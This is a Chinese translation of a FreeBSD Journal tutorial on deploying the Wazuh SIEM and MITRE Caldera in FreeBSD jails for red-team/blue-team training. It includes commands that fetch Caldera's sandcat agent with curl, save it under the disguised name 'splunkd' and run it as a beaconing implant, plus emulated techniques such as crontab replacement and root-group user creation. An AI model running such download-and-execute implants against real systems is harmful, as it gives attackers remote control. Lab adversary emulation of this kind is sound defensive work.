FreeBSD 中文社区 2025 第二季度问卷调查
FreeBSD 中文社区(CFC)
VitePress 镜像站QQ 群 787969044视频教程Ⅰ视频教程Ⅱ
  • FreeBSD 从入门到追忆
  • 中文期刊
  • 状态报告
  • 发行说明
  • 手册
  • 网络文章集锦
  • 笔记本支持报告
  • Port 开发者手册
  • 架构手册
  • 开发者手册
  • 中文 man 手册
  • 文章
  • 书籍
  • FreeBSD 中文期刊
  • 编辑日志
  • 2025-123 下游项目
    • FreeBSD 发布工程:新主管上任
    • GhostBSD:从易用到挣扎与重生
    • BSD Now 与将来
    • 字符设备驱动教程(第三部分)
    • 学会走路——连接 GPIO 系统
    • FreeBSD 中对 SYN 段的处理
    • FreeBSD 2024 年秋季峰会
  • 2024-1112 虚拟化
    • 字符设备驱动程序教程(第二部分)
    • 面向 Linux 和 Windows 用户的 bhyve
    • Xen 与 FreeBSD
    • Wifibox:一种嵌入式虚拟化无线路由器
    • 嵌入式 FreeBSD:Fabric——起步阶段
    • DGP:一种新的数据包控制方法
    • 会议报告:我在都柏林的 EuroBSDCon 体验
  • 2024-0910 内核开发
    • 字符设备驱动程序教程
    • VPP 移植到了 FreeBSD:基础用法
    • 利用 Kyua 的 Jail 功能提升 FreeBSD 测试套件的并行效率
    • FreeBSD 上的 Valgrind
    • 嵌入式 FreeBSD:探索 bhyve
    • TCP/IP 历险记:FreeBSD TCP 协议栈中的 Pacing
    • 实用软件:实现无纸化(Paperless)
  • 2024-0708 存储与文件系统
    • FreeBSD 中的 NVMe-oF
    • FreeBSD iSCSI 入门
    • 使用 ZFS 原生加密保护数据
    • 嵌入式 FreeBSD:打造自己的镜像
    • TCP LRO 简介
    • 基于 Samba 的时间机器备份
  • 2024-0506 配置管理对决
    • 基本系统中的 mfsBSD
    • rdist
    • Hashicorp Vault
    • 在 GitHub 上向 FreeBSD 提交 PR
    • 悼念 Mike Karels
    • 2024 年 5-6 月来信
    • 嵌入式 FreeBSD 面包板
    • TCP/IP 历险记:TCP BBLog
    • 实用软件:开发定制 Ansible 模块
  • 2024-0304 开发工作流与集成
    • FreeBSD 内核开发工作流程
    • FreeBSD 与 KDE 持续集成(CI)
    • 更现代的内核调试工具
    • 从零开始的 ZFS 镜像及 makefs -t zfs
    • 提升 Git 使用体验
  • 2024-0102 网络(十周年)
    • FreeBSD 中的 RACK 栈和替代 TCP 栈
    • FreeBSD 14 中有关 TCP 的更新
    • if_ovpn 还是 OpenVPN
    • SR-IOV 已成为 FreeBSD 的重要功能
    • FreeBSD 接口 API(IfAPI)
    • BATMAN:更优的可移动热点网络方式
    • 配置自己的 VPN——基于 FreeBSD、Wireguard、IPv6 和广告拦截
    • 实用软件:使用 Zabbix 监控主机
  • 2023-1112 FreeBSD 14.0
    • LinuxBoot:从 Linux 启动 FreeBSD
    • FreeBSD 容器镜像
    • 现在用 Webhook 触发我
    • 新的 Ports 提交者:oel Bodenmann (jbo@freebsd.org)
  • 2023-0910 Port 与软件包
    • 回忆录:与 Warner Losh(@imp)的访谈
    • 在你自己的仓库中定制 Poudriere 源
    • Wazuh 和 MITRE Caldera 在 FreeBSD Jail 中的使用
    • PEP 517
    • CCCamp 2023 旅行报告
  • 2023-0708 容器与云
    • 在 Firecracker 上的 FreeBSD
    • 使用 pot 和 nomad 管理 Jail
    • 会议报告:C 与 BSD 正如拉丁语与我们——一位神学家的旅程
    • 抒怀之旅:与 Doug Rabson 的访谈
    • 基于 Jail 的广告拦截教程
    • 我们收到的来信
  • 2023-0506 FreeBSD 三十周年纪念特刊
    • CheriBSD 近十多年的历程
    • AArch64:成为 FreeBSD 新的一级架构
    • 岁月如梭:我个人的时间线
    • 安装 FreeBSD 1.0:回顾 30 年前
    • ZFS 是如何进入 FreeBSD 的呢?
    • 我不是来自约克郡的,我保证!
    • 回忆录:采访 David Greenman Lawrence
    • FreeBSD 和早期的 Unix 社区
    • 早期的 FreeBSD 移植
    • FreeBSD 30 周年:成功的秘诀
    • FreeBSD 在日本:回忆之旅与今日之实
  • 2023-0304 嵌入式
    • CheriBSD port 和软件包
    • 让我们来试试 ChatGPT
    • GPU 直通
  • 2023-0102 构建 FreEBSD Web 服务器
    • ZFS 的原子 I/O 与 PostgreSQL
    • 虚拟实验室——BSD 编程研讨会
    • ZFS 简介
    • 会议报告:落基山庆祝女性计算机科学家
    • 进行中的工作/征求反馈:数据包批处理
    • 基金会与 FreeBSD 桌面
  • 2022-1112 可观测性和衡量标准
    • 在 FreeBSD 的 DDB 内核调试器中编写自定义命令
    • DTrace:老式跟踪系统的新扩展
    • 基于证书的 Icinga 监控
    • 活动监控脚本(activitymonitor.sh)
    • 实用 IPv6(第四部分)
    • EuroBSDCon 会议报道
    • 实用 Port:Prometheus 的安装与配置
    • 书评:《用火解决问题:管理老化的计算机系统(并为现代系统保驾护航)》Kill It with Fire: Manage Aging Computer Systems (and Future Proof Modern Ones)
  • 2022-0910 安全性
    • CARP 简介
    • 重构内核加密服务框架
    • PAM 小窍门
    • SSH 小窍门
    • 实用 IPv6(第三部分)
    • 书评:Understanding Software Dynamics(深入理解软件性能——一种动态视角)—— Richard L. Sites 著
    • 访谈:保障 FreeBSD 安全性
    • MCH 2022 会议报告
  • 2022-0708 科研、系统与 FreeBSD
    • 在 FreeBSD 上构建 Loom 框架
    • 教授本科生 Unix 课程
    • FreeBSD 入门研讨会
    • 实用 IPv6(第二部分)
    • 在 2022 年及以后推广 FreeBSD
    • 进行中的工作/征求反馈:Socket 缓冲区
    • FreeBSD 开发者峰会报告
    • 支持 Electromagnetic Field 2022
  • 2022-0506 灾难恢复
    • 使用 FreeBSD 构建高弹性的私有云
    • LLDB 14 —— FreeBSD 新调试器
    • 实用 IPv6(第一部分)
    • 利用 netdump(4) 进行事后内核调试
    • 进行中的工作/征求反馈:FreeBSD 启动性能
    • 实用 Port:在 OpenZFS 上设置 NFSv4 文件服务器
  • 2022-0304 ARM64 是一级架构
    • FreeBSD/ARM64 上的数据科学
    • Pinebook Pro 上的 FreeBSD
    • 嵌入式控制器的 ACPI 支持
    • 进行中的工作/征求反馈:Lumina 桌面征集开发人员
    • 实用 Port:如何设置 Apple 时间机器
  • 2022-0102 软件与系统管理
    • 为 FreeBSD Ports 做贡献
    • 使用 Git 贡献到 FreeBSD Ports
    • CBSD:第一部分——生产环境
    • 将 OpenBSD 的 pf syncookie 代码移植到 FreeBSD 的 pf
    • 进行中的工作/征求反馈:mkjail
    • 《编程智慧:编程鬼才的经验和思考》(The Kollected Kode Vicious)书评
    • 会议报告:EuroBSDCon 2021 我的第一次 EuroBSDCon:一位新组织者的视角
  • 2021-1112 存储
    • 开放通道 SSD
    • 构建 FreeBSD 社区
    • 与完美操作系统同行 27 年
    • 进行中的工作/征求反馈:OccamBSD
    • 通过 iSCSI 导入 ZFS ZIL——不要在工作中这样做——就像我做的那样
  • 2021-0910 FreeBSD 开发
    • FreeBSD 代码审查与 git-arc
    • 如何为 FreeBSD 实现简单的 USB 驱动程序
    • 内核开发技巧
    • 程序员编程杂谈
  • 2021-0708 桌面/无线网
    • 通往 FreeBSD 桌面的直线路径
    • FreeBSD 13 中的人机接口设备 (HID) 支持
    • Panfrost 驱动程序
    • 用 Git 更新 FreeBSD
    • FreeBSD 的新面孔
    • 想给你的桌面加点佐料?
  • 2021-0506 安全
    • 七种提升新安装 FreeBSD 安全性的方法
    • copyinout 框架
    • 使用 TLS 改善 NFS 安全性
    • Capsicum 案例研究:Got
    • 对 Jail 进行安全扫描
  • 2021-0304 FreeBSD 13.0
    • 展望未来
    • FreeBSD 13.0 工具链
    • FreeBSD 13.0 中有新加载器吗?
    • TCP Cubic 准备起飞
    • OpenZFS 中的 Zstandard 压缩
    • 会议报告:FreeBSD 供应商峰会
    • Git 不够吗?
  • 2021-0102 案例研究
    • Tarsnap 的 FreeBSD 集群
    • BALLY WULFF
    • Netflix Open Connect
    • FreeBSD 的新面孔
    • 写作学者的 FreeBSD
    • 在世界之巅
  • 2020-1112 工作流/持续集成(CI)
    • FreeBSD Git 快速入门
    • 使用 syzkaller 进行内核 Fuzzing
    • Mastering Vim Quickly 书评
    • 线上会议实用技巧
    • 在控制台上进行网络监控
  • 2020-0910 贡献与入门
    • 采访:Warner Losh,第 2 部分
    • 代码审查
    • 撰写良好的提交消息
    • 如何在不是程序员的情况下做出贡献——成为 FreeBSD 译者
    • 如何成为文档提交者
    • 谷歌编程之夏
    • 为 FreeBSD 期刊撰写文章
    • 你为什么使用 FreeBSD
    • FreeBSD 的新面孔
  • 2020-0708 基准测试/调优
    • FreeBSD Friday
    • 采访:Warner Losh,第 1 部分
    • 构建和运行开源社区
    • 在 FreeBSD 上轻松搭建我的世界(Minecraft)服务器
    • FreeBSD 的新面孔
  • 2020-0506 网络性能
    • 内核中的 TLS 卸载
    • 访谈:Michael W Lucas
    • FreeBSD 桌面发行版
    • 使用 Poudriere 进行 Port 批量管理
    • FreeBSD 的新面孔
由 GitBook 提供支持
LogoLogo

FreeBSD 中文社区(CFC) 2025

在本页
  • Wazuh
  • MITRE Caldera
  • AppJail
  • 准备
  • 部署
  • 部署 Wazuh AIO(全一体)
  • 部署 Wazuh 代理
  • 部署 MITRE Caldera
  • 结论
在GitHub上编辑
导出为 PDF
  1. 2023-0910 Port 与软件包

Wazuh 和 MITRE Caldera 在 FreeBSD Jail 中的使用

上一页在你自己的仓库中定制 Poudriere 源下一页PEP 517

最后更新于1个月前

image
  • 原文链接:

  • 作者:ALONSO CÁRDENAS

  • 译者:Canvis-Me & ChatGPT

在信息安全管理中,每天都需要越来越多支持实施控制的基础设施。组织中最常用的工具之一是 SIEM(安全信息与事件管理)。SIEM 通过在集中地点收集和分析普通消息、警告通知和日志文件,帮助实时识别攻击或攻击趋势。

此外,由于需要为企业中支持安全管理的团队提供持续的技术培训,因此传统的培训方法需要辅之以可模拟攻击(红队)和帮助培训事件响应团队(蓝队)的工具。

FreeBSD 为我们提供了支持信息安全控制实施的各种活动的应用程序和工具。Jail 是 FreeBSD 的一个强大特性,能让你创建隔离的环境,非常适合与信息安全或网络安全相关的任务,帮助保持干净的主机环境,使用脚本或工具(如 AppJail)自动化部署任务,模拟安全环境以进行分析,并使用测试工具最快地部署安全解决方案。

这项工作的主要目标是增强 FreeBSD 作为信息安全或网络安全有用平台的可见性。

Wazuh

在 FreeBSD 上,security/wazuh-manager 和 security/wazuh-agent 是从 Wazuh 源代码编译而来的。security/wazuh-indexer 是一个经过修改的 textproc/opensearch,用于存储代理数据。security/wazuh-server 包含了适用于 FreeBSD 的对配置文件的修改。运行时依赖项包括 security/wazuh-manager、sysutils/beats7(filebeat)和 sysutils/logstash8。security/wazuh-dashboard 使用了一个经过修改的 textproc/opensearch-dashboards,以及来自 wazuh-kibana-app 源代码为 FreeBSD 生成的 wazuh-kibana-app 插件。

MITRE Caldera

AppJail

准备

在进行 Wazuh 和 MITRE Caldera 部署之前,有一些最低要求需要处理。在本文中,我使用 FreeBSD 14.0-RC1-amd64 作为主机系统 # pkg install appjail-devel # 以包含 AppJail 添加的最新功能。

将锚点放入 pf.conf 中:

# cat << “EOF” >> /etc/pf.conf
nat-anchor ‘appjail-nat/jail/*’
nat-anchor “appjail-nat/network/*”
rdr-anchor “appjail-rdr/*”
EOF

启用数据包过滤器

# pfctl -f /etc/pf.confg -e

启用 IP 转发

sysctl net.inet.ip.forwarding=1

是时候下载创建 jail 所需的文件。默认情况下,AppJail 下载与主机相同版本和架构的文件。

# appjail fetch

如果我们想要指定特定的版本,我们必须使用以下方法:

# appjail fetch www -v 13.2-RELEASE -a amd64

我们添加了一个名为 wazuh-net 的网络。wazuh-net 桥将用于 jail。

# appjail network add wazuh-net 11.1.0.0/24
# appjail network list

NAME NETWORK CIDR BROADCAST GATEWAY MINADDR MAXADDR ADDRESSES DESCRIPTION
wazuh-net 11.1.0.0 24 11.1.0.255 11.1.0.1 11.1.0.1 11.1.0.254 254 -

部署

部署 Wazuh AIO(全一体)

Wazuh makejail 将创建并配置一个 jail,其中包含 Wazuh SIEM 使用的所有组件(wazuh-manager、wazuh-server、wazuh-indexer 和 wazuh-dashboard)。目前在 ports 中为 4.5.2 版本。

使用 AppJail 通过 AppJail-Makejail 创建它。

# appjail makejail -f gh+alonsobsd/wazuh-makejail -o osversion 13.2-RELEASE -j wazuh -- --network wazuh-net --server_ip 11.1.0.2

完成后,我们将看到为 wazuh-dashboard 生成的凭据,以及在以下示例中用于将代理添加到 wazuh-manager 的密码:

################################################
Wazuh dashboard admin credentials
Hostname  :  https://jail-host-ip:5601/app/wazuh
Username  :  admin
Password  :  @vCX46vMSaNUAf5WQ
################################################
Wazuh agent enrollment password
Password  :  @ugEwZHpUJ8a7oCsc1rxJKd3/hlk=
################################################

检查 wazuh-dashboard 服务是否就绪。尝试使用 Web 浏览器连接到 https://11.1.0.2:5601/app/wazuh。

部署 Wazuh 代理

如果 wazuh-dashboard 在线,我们将继续向基础架构添加一些代理。为此,我们将使用 wazuh-agent AppJail-Makejail 和先前生成的 Wazuh 代理注册密码。

-f use a AppJail-Makejail from a github repository
-o for define which version of FreeBSD will be used to create the jail, otherwise it uses the host version
-j jail name

以下参数已在 Makejail 文件中定义:

--network network name used by jail
--agent_ip IP address assigned to jail
--agent_name name of wazuh-agent
--server_ip wazuh-manager IP address
--enrollment agents enrollment password

# appjail makejail -f gh+alonsobsd/wazuh-agent-makejail -o osversion=13.2-RELEASE
-j agent01 -- --network wazuh-net --agent_ip 11.1.0.3 --agent_name agent01 --server_ip 11.1.0.2 --enrollment @ugEwZHpUJ8a7oCsc1rxJKd3/hlk=

对于每个代理(agent01、agent02、agent03、agent04 和 agent05),重复此命令,使用不同的 IP 地址(11.1.0.3、11.1.0.4、11.1.0.5 和 11.1.0.6),并更改系统版本(13.2-RELEASE 或 14.0-RC1)。完成后,我们将能够在 wazuh-dashboard 的 "Agents" 窗口中查看已连接代理的列表。

最后,在每个代理上安装 net/curl。此工具将用于下载与 MITRE Caldera 进行交互的有效负载。

# appjail pkg jail agent01 install curl

部署 MITRE Caldera

与之前的操作类似,我们继续使用 Caldera AppJail-Makejail 创建 jail。

-f use a AppJail-Makejail from a github repository
-o for define which version of FreeBSD will be used to create the jail, otherwise it uses the host version
-j jail name

以下参数已在 Makejail 文件中定义:

--network network name used by jail
--caldera_ip IP address assigned to jail

# appjail makejail -f gh+alonsobsd/caldera-makejail -o osversion=13.2-RELEASE -j caldera -- --network wazuh-net --caldera_ip 11.1.0.10

就像 wazuh 的创建和配置过程一样,它将在以下示例中显示为 MITRE Caldera 生成的凭据:

################################################
MITRE Caldera admin credential
Hostname  :  https://jail-host-ip:8443
Username  :  admin
Password  :  Z1EtVnltRtirHDOTVY4=
################################################

################################################
MITRE Caldera blue credential
Hostname  :  https://jail-host-ip:8443
Username  :  blue
Password  :  M0WmJnQOLG3va+b0LM8=
################################################

################################################
MITRE Caldera red credential
Hostname  :  https://jail-host-ip:8443
Username  :  red
Password  :  1TPza2NLp0h1scaZ2uA=
################################################

测试 MITRE Caldera 服务是否就绪。尝试使用 Web 浏览器连接到 https://11.1.0.2:8443/。

如果 MITRE Caldera 服务在线,我们继续在每个代理上下载并运行 sandcat 载荷。通过这样做,MITRE Caldera 将能够在每个 jail 中运行测试。

# appjail cmd jexec agent01 sh -c ‘curl -k -s -X POST -H “file:sandcat.go” -H
“platform:freebsd” https://11.1.0.10:8443/file/download > /root/splunkd’
# appjail cmd jexec agent01 chmod 750 /root/splunkd
# appjail cmd jexec agent01 ./splunkd -server https://11.1.0.10:8443 -group red -v

Starting sandcat in verbose mode.
[*] No tunnel protocol specified. Skipping tunnel setup.
[*] Attempting to set channel HTTP
Beacon API=/beacon
[*] Set communication channel to HTTP
initial delay=0
server=https://11.1.0.10:8443
upstream dest addr=https://11.1.0.10:8443
group=red
privilege=Elevated
allow local p2p receivers=false
beacon channel=HTTP
available data encoders=base64, plain-text
[+] Beacon (HTTP): ALIVE

在不同的终端会话中,为每个代理重复前面的命令,只更改 jail 的名称(agent01、agent02、agent03、agent04 和 agent05)。完成这些任务后,我们将在 MITRE Caldera Agents 窗口中看到可用代理的列表。

添加(潜在的链接按钮)并在不同的代理上运行一些模拟测试。以下四个测试将在 wazuh-manager 中生成警报:

  1. Cron – 用引用的文件替换 crontab(T1053.003)

  2. 使用 root GID 在 FreeBSD 中创建一个新用户(T1136.001)

  3. 在 FreeBSD 系统上创建一个用户帐户(T1136.001)

  4. 创建本地帐户(FreeBSD)(T1078.003)

完成模拟操作后,我们在 wazuh-dashboard 控制台中验证每个测试生成的警报。

结论

AppJail 在快速将本文使用的工具部署到 jail 容器中发挥了作用。。


ALONSO CÁRDENAS 是 FreeBSD 项目的 ports 提交者。他最近专注于提升 FreeBSD 作为信息安全有用平台的可见性。他是秘鲁的信息安全和网络安全顾问。

在这篇文章中,我们将专注于部署两个开源工具,当结合使用时,可以补充由红队和蓝队执行的培训练习。它基于《使用 CALDERA 和 进行对抗仿真》这篇文章,但使用了 FreeBSD、AppJail(Jail 管理)、Wazuh 和 MITRE Caldera。

是一个用于威胁预防、检测和响应的免费开源平台。它能够在本地、虚拟化、容器化和基于云的环境中保护工作负载。Wazuh 解决方案包括部署到受监视系统的端点安全代理以及由代理收集和分析的数据的管理服务器。Wazuh 的特点包括与 和 的完全集成,提供搜索引擎和数据可视化工具,用户可通过这些工具浏览安全警报。

Wazuh 在 FreeBSD 上的移植是由 发起的。他在 2021 年 9 月首次将 Wazuh 添加到 ports 中,命名为 。在 2022 年 7 月,我接手了该 port 的维护,并开始移植其他 Wazuh 组件。

目前,所有的 Wazuh 组件都已移植或修改:、、、 和 。

是一个旨在轻松自动化对抗仿真、协助手动红队行动并自动化事件响应的网络安全平台。它建立在 MITRE ATT&CK© 框架上,是 MITRE 的一项积极研究项目。

MITRE Caldera()于 2023 年 4 月加入了 ports 树。该 port 包括对 使用的 项目的支持。

是一个完全由 sh(1) 和 C 编写的框架,用于使用 FreeBSD Jail 创建隔离的、便携的、易于部署的环境,这些环境行为类似于应用程序。AppJail 的一个有趣特性是 格式。它是一个文本文档,包含构建 jail 的所有指令。Makejail 是构建 jail、配置它、安装应用程序、配置它们等等的进程的另一抽象层。

image
image
image
image
image
image
image
image
image
image

Wazuh 和 MITRE Caldera 提供了可定制的工具,以适应安全信息或网络安全需求。本文展示了包含在 Wazuh SIEM 和 MITRE Caldera 中的部分功能。如果你想了解更多关于这些工具的信息,Wazuh 项目和 MITRE Caldera 项目提供了出色的文档()和(),以及强大的社区支持。

Wazuh
Wazuh
Elastic Stack
OpenSearch
Michael Muenz
security/wazuh-agent
security/wazuh-manager
security/wazuh-agent
security/wazuh-server
security/wazuh-indexer
security/wazuh-dashboard
MITRE Caldera
security/caldera
MITRE Caldera 原子插件
Atomic Red Team
AppJail
AppJail-Makejails
https://documentation.wazuh.com/current/index.html
https://caldera.readthedocs.io/en/latest/
https://freebsdfoundation.org/wp-content/uploads/2023/11/Cardenas.pdf